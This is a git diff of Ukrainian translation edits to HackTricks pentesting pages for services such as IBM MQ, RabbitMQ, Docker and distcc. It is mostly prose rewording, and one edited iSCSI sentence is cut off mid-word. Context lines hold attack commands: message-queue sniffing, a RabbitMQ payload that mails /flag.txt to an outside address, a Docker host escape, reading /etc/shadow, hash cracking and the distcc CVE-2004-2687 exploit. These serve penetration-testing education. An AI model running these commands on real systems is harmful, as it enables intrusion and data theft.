веб-сервіс на TCP порті 593. +Картографічний кінцевий пункт RPC можна отримати через TCP і UDP порт 135, SMB на TCP 139 і 445 (з нульовою або автентифікованою сесією), а також як веб-сервіс на TCP порту 593. ``` 135/tcp open msrpc Microsoft Windows RPC ``` ## Як працює MSRPC? -Ініційований клієнтським додатком, процес MSRPC включає виклик локальної підпроцедури, яка потім взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат представлення даних мережі. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер віддалений, що забезпечує доставку RPC через мережевий стек. +Ініційований клієнтським додатком, процес MSRPC включає виклик локальної стуб-процедури, яка потім взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат представлення даних мережі. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер віддалений, що забезпечує доставку RPC через мережевий стек. ![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png) @@ -65,7 +65,7 @@ rpcdump.py -p 135 ### Визначення IP-адрес -Використовуючи [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), що походить з [досліджень Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), можливо зловживати методом _**ServerAlive2**_ всередині інтерфейсу _**IOXIDResolver**_. +Використовуючи [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), що походить з [дослідження Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), можливо зловживати методом _**ServerAlive2**_ всередині інтерфейсу _**IOXIDResolver**_. Цей метод використовувався для отримання інформації про інтерфейс у вигляді **IPv6** адреси з HTB боксу _APT_. Дивіться [тут](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) для опису 0xdf APT, він включає альтернативний метод, використовуючи rpcmap.py з [Impacket](https://github.com/SecureAuthCorp/impacket/) з _stringbinding_ (див. вище). diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index cb3ff64b9..b16f21a24 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -62,11 +62,11 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_ ## Перерахування -Ви можете спробувати перерахувати **ім'я менеджера черг, користувачів, канали та черги** за допомогою **punch-q** або **pymqi**. +Ви можете спробувати перерахувати **ім'я менеджера черги, користувачів, канали та черги** за допомогою **punch-q** або **pymqi**. -### Менеджер черг +### Менеджер черги -Іноді немає захисту від отримання імені менеджера черг: +Іноді немає захисту від отримання імені менеджера черги: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR @@ -80,7 +80,7 @@ Queue Manager name: MYQUEUEMGR "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` -Виявляється, що деякі екземпляри IBM MQ приймають **неаутентифіковані** MQ запити, тому `--username / --password` не потрібні. Звичайно, права доступу також можуть варіюватися. +Виявляється, що деякі екземпляри IBM MQ приймають **неаутентифіковані** запити MQ, тому `--username / --password` не потрібні. Звичайно, права доступу також можуть варіюватися. Як тільки ми отримаємо одне ім'я каналу (тут: `DEV.ADMIN.SVRCONN`), ми можемо перерахувати всі інші канали. @@ -169,9 +169,9 @@ Showing queues with prefix: "*"... ``` ## Експлуатація -### Вивантаження повідомлень +### Витяг повідомлень -Ви можете націлитися на чергу(і)/канал(и), щоб перехопити / вивантажити повідомлення з них (недеструктивна операція). _Приклади:_ +Ви можете націлитися на черги/канали, щоб прослухати/витягти повідомлення з них (недеструктивна операція). _Приклади:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` @@ -195,7 +195,7 @@ Showing queues with prefix: "*"... > > Також у документації є попередження про команду: _"Увага: ця команда дозволяє користувачу виконувати довільну команду з правами mqm. Якщо надано права на використання цієї команди, зловмисний або недбалий користувач може визначити сервіс, який пошкодить ваші системи або дані, наприклад, видаливши важливі файли."_ > -> _Примітка: завжди відповідно до документації IBM MQ (Посібник з адміністрування), також є HTTP-інтерфейс на `/admin/action/qmgr/{qmgrName}/mqsc` для виконання еквівалентної команди MQSC для створення сервісу (`DEFINE SERVICE`). Цей аспект ще не охоплений тут._ +> _Примітка: завжди відповідно до документації IBM MQ (Довідник з адміністрування) також є HTTP-інтерфейс на `/admin/action/qmgr/{qmgrName}/mqsc` для виконання еквівалентної команди MQSC для створення сервісу (`DEFINE SERVICE`). Цей аспект ще не охоплений тут._ Створення / видалення сервісу з PCF для віддаленого виконання програми може бути виконано за допомогою **punch-q**: @@ -275,7 +275,7 @@ else: qmgr.disconnect() ``` -Якщо ви не можете знайти імена констант, ви можете звернутися до [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). +Якщо ви не можете знайти імена констант, ви можете звернутися до [IBM MQ документації](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > _Приклад для [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Десяткове = 73). Він потребує параметра `MQCA_CLUSTER_NAME` (Десяткове = 2029), який може бути `_` (Док: ):\* > @@ -316,7 +316,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157: ``` За замовчуванням автентифікація увімкнена, ім'я користувача `admin`, а пароль `passw0rd` (змінна середовища `MQ_ADMIN_PASSWORD`). Тут ім'я менеджера черг встановлено на `MYQUEUEMGR` (змінна `MQ_QMGR_NAME`). -Вам слід мати IBM MQ, що працює з відкритими портами: +Вам потрібно, щоб IBM MQ працював і його порти були відкриті: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index d708daf4a..09d523b10 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -13,9 +13,9 @@ Oracle database (Oracle DB) - це система управління реля ``` ## Резюме -1. **Перерахунок версій**: Визначте інформацію про версію, щоб шукати відомі вразливості. +1. **Версійна нумерація**: Визначте інформацію про версію, щоб шукати відомі вразливості. 2. **Брутфорс TNS Listener**: Іноді необхідно для встановлення зв'язку. -3. **Перерахунок/Брутфорс SID**: Виявлення імен бази даних (SID). +3. **Нумерація/Брутфорс SID**: Виявлення імен бази даних (SID). 4. **Брутфорс облікових даних**: Спроба доступу до виявленого SID. 5. **Виконання коду**: Спроба виконати код на системі. @@ -30,7 +30,7 @@ Oracle database (Oracle DB) - це система управління реля - [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) - [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) -## Автоматичні команди HackTricks +## HackTricks Автоматичні команди ``` Protocol_Name: Oracle #Protocol Abbreviation if there is one. Port_Number: 1521 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md index 5e1b0c7e7..fc6ed6ebd 100644 --- a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -27,7 +27,7 @@ service rabbitmq-server restart Також, якщо у вас є дійсні облікові дані, вам може бути цікава інформація з `http://localhost:15672/api/connections` -Зверніть увагу, що також можливо **опублікувати дані всередині черги** за допомогою API цього сервісу з запитом, як: +Зверніть увагу, що також можливо **публікувати дані всередині черги** за допомогою API цього сервісу з запитом, як: ```bash POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 Host: 172.32.56.72:15672 @@ -38,7 +38,7 @@ Content-Length: 267 {"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"} ``` -## Зламування хешу +## Злом хешу ```bash echo | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt hashcat -m 1420 --hex-salt hash.txt wordlist diff --git a/src/network-services-pentesting/1723-pentesting-pptp.md b/src/network-services-pentesting/1723-pentesting-pptp.md index d3a5765fd..5097841ed 100644 --- a/src/network-services-pentesting/1723-pentesting-pptp.md +++ b/src/network-services-pentesting/1723-pentesting-pptp.md @@ -4,7 +4,7 @@ ## Основна інформація -**Point-to-Point Tunneling Protocol (PPTP)** - це метод, який широко використовується для **віддаленого доступу** до мобільних пристроїв. Він використовує **TCP порт 1723** для обміну ключами, в той час як **IP протокол 47** (Generic Routing Encapsulation, або **GRE**) використовується для шифрування даних, які передаються між партнерами. Ця конфігурація є критично важливою для встановлення безпечного каналу зв'язку через інтернет, забезпечуючи конфіденційність та захист обміну даними від несанкціонованого доступу. +**Point-to-Point Tunneling Protocol (PPTP)** є методом, який широко використовується для **віддаленого доступу** до мобільних пристроїв. Він використовує **TCP порт 1723** для обміну ключами, тоді як **IP протокол 47** (Generic Routing Encapsulation, або **GRE**) використовується для шифрування даних, що передаються між партнерами. Ця конфігурація є критично важливою для встановлення безпечного каналу зв'язку через інтернет, забезпечуючи конфіденційність даних, що обмінюються, та їх захист від несанкціонованого доступу. **Порт за замовчуванням**:1723 diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index cb9c0181f..784c4dec0 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -4,7 +4,7 @@ ## Основна інформація -**MQ Telemetry Transport (MQTT)** відомий як **протокол обміну повідомленнями з публікацією/підпискою**, який вирізняється своєю надзвичайною простотою та легкістю. Цей протокол спеціально розроблений для середовищ, де пристрої мають обмежені можливості та працюють через мережі, які характеризуються низькою пропускною здатністю, високою затримкою або ненадійними з'єднаннями. Основні цілі MQTT включають мінімізацію використання мережевої пропускної здатності та зменшення навантаження на ресурси пристроїв. Крім того, він прагне підтримувати надійну комунікацію та забезпечувати певний рівень гарантії доставки. Ці цілі роблять MQTT надзвичайно придатним для зростаючої сфери **взаємодії між машинами (M2M)** та **Інтернету речей (IoT)**, де важливо ефективно з'єднувати безліч пристроїв. Більше того, MQTT є дуже корисним для мобільних додатків, де збереження пропускної здатності та заряду батареї є критично важливим. +**MQ Telemetry Transport (MQTT)** відомий як **протокол обміну повідомленнями з публікацією/підпискою**, який вирізняється своєю надзвичайною простотою та легкістю. Цей протокол спеціально розроблений для середовищ, де пристрої мають обмежені можливості та працюють через мережі, які характеризуються низькою пропускною здатністю, високою затримкою або ненадійними з'єднаннями. Основні цілі MQTT включають мінімізацію використання мережевої пропускної здатності та зменшення навантаження на ресурси пристроїв. Крім того, він прагне підтримувати надійну комунікацію та забезпечувати певний рівень гарантії доставки. Ці цілі роблять MQTT надзвичайно придатним для зростаючої сфери **комунікації між машинами (M2M)** та **Інтернету речей (IoT)**, де важливо ефективно з'єднувати безліч пристроїв. Більше того, MQTT є дуже корисним для мобільних додатків, де збереження пропускної здатності та заряду батареї є критично важливим. **Порт за замовчуванням:** 1883 ``` @@ -30,7 +30,7 @@ For instance, if the broker rejects the connection due to invalid credentials, t **Аутентифікація є абсолютно необов'язковою** і навіть якщо аутентифікація виконується, **шифрування за замовчуванням не використовується** (облікові дані надсилаються у відкритому тексті). Атаки MITM все ще можуть бути виконані для викрадення паролів. -Щоб підключитися до служби MQTT, ви можете використовувати: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) і підписатися на всі теми, виконавши: +Щоб підключитися до сервісу MQTT, ви можете використовувати: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) і підписатися на всі теми, виконавши: ``` > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) > subscribe "#" 1 diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 47ecc0728..9f55e73b9 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -6,15 +6,15 @@ #### Що таке -Docker є **передовою платформою** в **індустрії контейнеризації**, що веде **безперервні інновації**. Він полегшує безперешкодне створення та розповсюдження додатків, від **традиційних до футуристичних**, і забезпечує їх **безпечне розгортання** в різних середовищах. +Docker є **передовою платформою** в **індустрії контейнеризації**, що веде **безперервні інновації**. Він полегшує безперешкодне створення та розповсюдження додатків, від **традиційних до футуристичних**, і забезпечує їх **безпечне розгортання** в різноманітних середовищах. #### Основна архітектура docker -- [**containerd**](http://containerd.io): Це **основний час виконання** для контейнерів, відповідальний за всебічне **управління життєвим циклом контейнера**. Це включає в себе обробку **переносу та зберігання образів**, а також нагляд за **виконанням, моніторингом і мережевими з'єднаннями** контейнерів. **Більш детальна інформація** про containerd **досліджується далі**. +- [**containerd**](http://containerd.io): Це **основний виконуваний модуль** для контейнерів, відповідальний за всебічне **управління життєвим циклом контейнера**. Це включає в себе обробку **переносу та зберігання образів**, а також нагляд за **виконанням, моніторингом та мережевими з'єднаннями** контейнерів. **Більш детальна інформація** про containerd **досліджується далі**. - **container-shim** відіграє критичну роль як **посередник** в обробці **безголових контейнерів**, безперешкодно беручи на себе функції від **runc** після ініціалізації контейнерів. -- [**runc**](http://runc.io): Відомий своїми **легкими та універсальними можливостями виконання контейнерів**, runc відповідає **стандарту OCI**. Він використовується containerd для **запуску та управління контейнерами** відповідно до **вказівок OCI**, еволюціонуючи з оригінального **libcontainer**. +- [**runc**](http://runc.io): Відомий своїми **легкими та універсальними можливостями виконуваного модуля** контейнерів, runc відповідає **стандарту OCI**. Він використовується containerd для **запуску та управління контейнерами** відповідно до **вказівок OCI**, еволюціонуючи з оригінального **libcontainer**. - [**grpc**](http://www.grpc.io) є важливим для **полегшення комунікації** між containerd та **docker-engine**, забезпечуючи **ефективну взаємодію**. -- [**OCI**](https://www.opencontainers.org) є ключовим у підтримці **специфікацій OCI** для часу виконання та образів, при цьому останні версії Docker є **сумісними з обома стандартами OCI для образів та часу виконання**. +- [**OCI**](https://www.opencontainers.org) є ключовим у підтримці **специфікацій OCI** для виконуваних модулів та образів, при цьому останні версії Docker є **сумісними з обома стандартами OCI для образів та виконуваних модулів**. #### Основні команди ```bash @@ -41,7 +41,7 @@ docker system prune -a ``` #### Containerd -**Containerd** був спеціально розроблений для задоволення потреб контейнерних платформ, таких як **Docker і Kubernetes**, серед інших. Він має на меті **спростити виконання контейнерів** на різних операційних системах, включаючи Linux, Windows, Solaris та інші, абстрагуючи функціональність, специфічну для операційної системи, та системні виклики. Мета Containerd полягає в тому, щоб включити лише основні функції, необхідні його користувачам, прагнучи уникнути непотрібних компонентів. Однак досягти цієї мети повністю вважається складним завданням. +**Containerd** був спеціально розроблений для задоволення потреб контейнерних платформ, таких як **Docker і Kubernetes**, серед інших. Його мета - **спростити виконання контейнерів** на різних операційних системах, включаючи Linux, Windows, Solaris та інші, абстрагуючи функціональність, специфічну для операційної системи, та системні виклики. Мета Containerd полягає в тому, щоб включити лише основні функції, необхідні його користувачам, прагнучи уникнути непотрібних компонентів. Однак повністю досягти цієї мети визнано складним. Ключовим дизайнерським рішенням є те, що **Containerd не обробляє мережеві з'єднання**. Мережа вважається критично важливим елементом у розподілених системах, з такими складнощами, як програмно визначена мережа (SDN) та виявлення сервісів, які значно відрізняються від однієї платформи до іншої. Тому Containerd залишає аспекти мережі для управління платформами, які він підтримує. @@ -65,15 +65,15 @@ ctr container delete **Podman** - це відкритий контейнерний движок, який відповідає стандартам [Open Container Initiative (OCI)](https://github.com/opencontainers), розроблений і підтримуваний компанією Red Hat. Він відрізняється від Docker кількома особливими функціями, зокрема **архітектурою без демонів** та підтримкою **контейнерів без прав root**, що дозволяє користувачам запускати контейнери без привілеїв root. -Podman розроблений для сумісності з API Docker, що дозволяє використовувати команди Docker CLI. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як **Buildah** для створення образів контейнерів і **Skopeo** для операцій з образами, таких як push, pull і inspect. Більше деталей про ці інструменти можна знайти на їхній [GitHub сторінці](https://github.com/containers/buildah/tree/master/docs/containertools). +Podman розроблений для сумісності з API Docker, що дозволяє використовувати команди Docker CLI. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як **Buildah** для створення образів контейнерів та **Skopeo** для операцій з образами, таких як push, pull та inspect. Більше деталей про ці інструменти можна знайти на їхній [GitHub сторінці](https://github.com/containers/buildah/tree/master/docs/containertools). **Ключові відмінності** - **Архітектура**: На відміну від клієнт-серверної моделі Docker з фоновим демоном, Podman працює без демона. Цей дизайн означає, що контейнери працюють з привілеями користувача, який їх запускає, підвищуючи безпеку шляхом усунення необхідності в доступі root. - **Інтеграція з Systemd**: Podman інтегрується з **systemd** для управління контейнерами, що дозволяє керувати контейнерами через одиниці systemd. Це контрастує з використанням Docker, який в основному використовує systemd для управління процесом демона Docker. -- **Контейнери без прав root**: Ключовою особливістю Podman є його здатність запускати контейнери під привілеями ініціюючого користувача. Цей підхід мінімізує ризики, пов'язані з порушеннями безпеки контейнерів, забезпечуючи, що зловмисники отримують лише привілеї скомпрометованого користувача, а не доступ root. +- **Контейнери без прав root**: Ключовою особливістю Podman є його здатність запускати контейнери з привілеями ініціюючого користувача. Цей підхід мінімізує ризики, пов'язані з порушеннями безпеки контейнерів, забезпечуючи, що зловмисники отримують лише привілеї скомпрометованого користувача, а не доступ root. -Підхід Podman пропонує безпечну та гнучку альтернативу Docker, підкреслюючи управління привілеями користувачів і сумісність з існуючими робочими процесами Docker. +Підхід Podman пропонує безпечну та гнучку альтернативу Docker, підкреслюючи управління привілеями користувачів та сумісність з існуючими робочими процесами Docker. > [!NOTE] > Зверніть увагу, що оскільки podman прагне підтримувати той же API, що й docker, ви можете використовувати ті ж команди з podman, що й з docker, такі як: @@ -145,7 +145,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` **Curl** -Іноді ви побачите **2376** активним для **TLS** кінцевої точки. Мені не вдалося підключитися до нього за допомогою docker-клієнта, але це можливо зробити за допомогою curl. +Іноді ви можете побачити **2376** активним для **TLS** кінцевої точки. Мені не вдалося підключитися до нього за допомогою docker клієнта, але це можливо зробити за допомогою curl. ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq @@ -199,7 +199,7 @@ cat /mnt/etc/shadow ### Підвищення привілеїв -Якщо ви знаходитесь на хості, який використовує docker, ви можете [**прочитати цю інформацію, щоб спробувати підвищити привілеї**](../linux-hardening/privilege-escalation/#writable-docker-socket). +Якщо ви знаходитесь всередині хоста, який використовує docker, ви можете [**прочитати цю інформацію, щоб спробувати підвищити привілеї**](../linux-hardening/privilege-escalation/#writable-docker-socket). ### Виявлення секретів у запущених контейнерах Docker ```bash @@ -233,28 +233,28 @@ docker cp :/etc/ #### Захист Docker Images -- Ви можете використовувати образ docker з [https://github.com/quay/clair](https://github.com/quay/clair), щоб сканувати ваші інші образи docker і знаходити вразливості. +- Ви можете використовувати образ docker з [https://github.com/quay/clair](https://github.com/quay/clair) для сканування ваших інших образів docker та виявлення вразливостей. - `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` - `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` #### Захист Dockerfiles -- Ви можете використовувати інструмент [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) для **перевірки вашого Dockerfile** і знаходження всіх видів неправильних налаштувань. Кожне неправильне налаштування отримає ID, ви можете знайти тут [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), як виправити кожне з них. +- Ви можете використовувати інструмент [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань. Кожному неправильному налаштуванню буде присвоєно ID, ви можете знайти тут [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) як виправити кожне з них. - `dockerfilelinter -f Dockerfile` ![](<../images/image (176).png>) -- Ви можете використовувати інструмент [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) для **перевірки вашого Dockerfile** і знаходження всіх видів неправильних налаштувань. +- Ви можете використовувати інструмент [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань. - `dockerfilelint Dockerfile` ![](<../images/image (212).png>) -- Ви можете використовувати інструмент [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) для **перевірки вашого Dockerfile** і знаходження всіх видів неправильних налаштувань. +- Ви можете використовувати інструмент [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань. - `dockerlint Dockerfile` ![](<../images/image (71).png>) -- Ви можете використовувати інструмент [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) для **перевірки вашого Dockerfile** і знаходження всіх видів неправильних налаштувань. +- Ви можете використовувати інструмент [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань. - `hadolint Dockerfile` ![](<../images/image (501).png>) diff --git a/src/network-services-pentesting/3128-pentesting-squid.md b/src/network-services-pentesting/3128-pentesting-squid.md index b6bde32b4..fa3acb7ca 100644 --- a/src/network-services-pentesting/3128-pentesting-squid.md +++ b/src/network-services-pentesting/3128-pentesting-squid.md @@ -20,7 +20,7 @@ PORT STATE SERVICE VERSION # Try to proxify curl curl --proxy http://10.10.11.131:3128 http://10.10.11.131 ``` -## Nmap proxified +## Nmap проксований Ви також можете спробувати зловживати проксі, щоб **сканувати внутрішні порти, проксуючи nmap**.\ Налаштуйте proxychains для використання проксі squid, додавши наступний рядок в кінець файлу proxichains.conf: `http 10.10.10.10 3128` diff --git a/src/network-services-pentesting/3260-pentesting-iscsi.md b/src/network-services-pentesting/3260-pentesting-iscsi.md index 7b79d4c58..809a39052 100644 --- a/src/network-services-pentesting/3260-pentesting-iscsi.md +++ b/src/network-services-pentesting/3260-pentesting-iscsi.md @@ -25,15 +25,15 @@ nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx ### [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How_to_set_up_and_use_iSCSI_target_on_Linux) -**Примітка:** Ви можете виявити, що коли ваші цілі виявлені, вони перераховані під іншим IP-адресою. Це зазвичай трапляється, якщо служба iSCSI відкрито через NAT або віртуальну IP-адресу. У таких випадках `iscsiadmin` не зможе підключитися. Це вимагає двох налаштувань: одного для імені каталогу вузла, автоматично створеного вашими діями з виявлення, і одного для файлу `default`, що міститься в цьому каталозі. +**Примітка:** Ви можете виявити, що коли ваші цілі виявлені, вони перераховані під іншою IP-адресою. Це зазвичай трапляється, якщо служба iSCSI відкрито через NAT або віртуальну IP-адресу. У таких випадках `iscsiadmin` не зможе підключитися. Це вимагає двох налаштувань: одного для імені каталогу вузла, автоматично створеного вашими діями з виявлення, і одного для файлу `default`, що міститься в цьому каталозі. -Наприклад, ви намагаєтеся підключитися до iSCSI цілі на 123.123.123.123 на порту 3260. Сервер, що відкриває iSCSI ціль, насправді знаходиться за адресою 192.168.1.2, але відкритий через NAT. isciadm зареєструє _внутрішню_ адресу, а не _публічну_ адресу: +Наприклад, ви намагаєте ``` iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe [...] ``` -Ця команда створить каталог у вашій файловій системі, як ось цей: +Ця команда створить каталог у вашій файловій системі ось так: ``` /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/ ``` diff --git a/src/network-services-pentesting/3299-pentesting-saprouter.md b/src/network-services-pentesting/3299-pentesting-saprouter.md index b0f6c4b30..b7eed6cd7 100644 --- a/src/network-services-pentesting/3299-pentesting-saprouter.md +++ b/src/network-services-pentesting/3299-pentesting-saprouter.md @@ -53,7 +53,7 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run ``` **Висновок** -Цей підхід підкреслює важливість безпечних конфігурацій SAProuter і висвітлює потенціал доступу до внутрішніх мереж через цілеспрямоване пенетрування. Правильне забезпечення SAP маршрутизаторів і розуміння їхньої ролі в архітектурі мережевої безпеки є критично важливими для захисту від несанкціонованого доступу. +Цей підхід підкреслює важливість безпечних конфігурацій SAProuter і висвітлює потенціал доступу до внутрішніх мереж через цілеспрямоване пенетрування. Правильне забезпечення SAP маршрутизаторів і розуміння їхньої ролі в архітектурі мережевої безпеки є критично важливим для захисту від несанкціонованого доступу. Для отримання більш детальної інформації про модулі Metasploit та їх використання, відвідайте [базу даних Rapid7](http://www.rapid7.com/db). diff --git a/src/network-services-pentesting/3632-pentesting-distcc.md b/src/network-services-pentesting/3632-pentesting-distcc.md index befb9a587..1eeee62c3 100644 --- a/src/network-services-pentesting/3632-pentesting-distcc.md +++ b/src/network-services-pentesting/3632-pentesting-distcc.md @@ -2,7 +2,7 @@ # Основна інформація -**Distcc** - це інструмент, який покращує **процес компіляції**, використовуючи **вільну обчислювальну потужність** інших комп'ютерів у мережі. Коли **distcc** налаштовано на машині, ця машина здатна розподіляти свої **завдання компіляції** на іншу систему. Ця система-отримувач повинна працювати з **distccd daemon** і мати встановлений **сумісний компілятор** для обробки надісланого коду. +**Distcc** - це інструмент, який покращує **процес компіляції**, використовуючи **вільну обчислювальну потужність** інших комп'ютерів у мережі. Коли **distcc** налаштовано на машині, ця машина здатна розподіляти свої **задачі компіляції** на іншу систему. Ця система-отримувач повинна працювати з **distccd daemon** і мати встановлений **сумісний компілятор** для обробки надісланого коду. **Порт за замовчуванням:** 3632 ``` @@ -11,7 +11,7 @@ PORT STATE SERVICE ``` # Експлуатація -Перевірте, чи вразливий він до **CVE-2004-2687** для виконання довільного коду: +Перевірте, чи вразливий до **CVE-2004-2687** для виконання довільного коду: ```bash msf5 > use exploit/unix/misc/distcc_exec nmap -p 3632 --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'" diff --git a/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md b/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md index 4913093f6..f4175658d 100644 --- a/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md +++ b/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md @@ -2,7 +2,7 @@ # Основна інформація -**Subversion** є централізованою **системою контролю версій**, яка відіграє важливу роль в управлінні як поточними, так і історичними даними проектів. Будучи **інструментом з відкритим вихідним кодом**, він працює під **ліцензією Apache**. Ця система широко визнана за свої можливості в **версіюванні програмного забезпечення та контролі ревізій**, що забезпечує ефективний моніторинг змін з часом. +**Subversion** є централізованою **системою контролю версій**, яка відіграє важливу роль в управлінні як поточними, так і історичними даними проектів. Будучи **інструментом з відкритим вихідним кодом**, він працює під **ліцензією Apache**. Ця система широко визнана за свої можливості в **версіюванні програмного забезпечення та контролі ревізій**, що забезпечує користувачам можливість ефективно відстежувати зміни з часом. **Порт за замовчуванням:** 3690 ``` diff --git a/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md b/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md index a57097717..b5a0027c3 100644 --- a/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md +++ b/src/network-services-pentesting/3702-udp-pentesting-ws-discovery.md @@ -4,9 +4,9 @@ ## Основна інформація -**Протокол динамічного виявлення веб-служб (WS-Discovery)** визначається як протокол, призначений для виявлення служб у локальній мережі через мультикаст. Він полегшує взаємодію між **Цільовими службами** та **Клієнтами**. Цільові служби - це кінцеві точки, доступні для виявлення, тоді як Клієнти - це ті, хто активно шукає ці служби. Зв'язок встановлюється за допомогою **SOAP запитів через UDP**, спрямованих на мультикаст адресу **239.255.255.250** та UDP порт **3702**. +**Протокол динамічного виявлення веб-служб (WS-Discovery)** визначається як протокол, призначений для виявлення служб у локальній мережі через мультикаст. Він полегшує взаємодію між **Цільовими службами** та **Клієнтами**. Цільові служби - це кінцеві точки, доступні для виявлення, тоді як Клієнти - це ті, хто активно шукає ці служби. Зв'язок встановлюється за допомогою **SOAP запитів через UDP**, спрямованих на мультикаст-адресу **239.255.255.250** та UDP порт **3702**. -При приєднанні до мережі Цільова служба оголошує про свою присутність, транслюючи **мультикаст Hello**. Вона залишається відкритою для отримання **мультикаст Probe** від Клієнтів, які шукають служби за Типом, ідентифікатором, унікальним для кінцевої 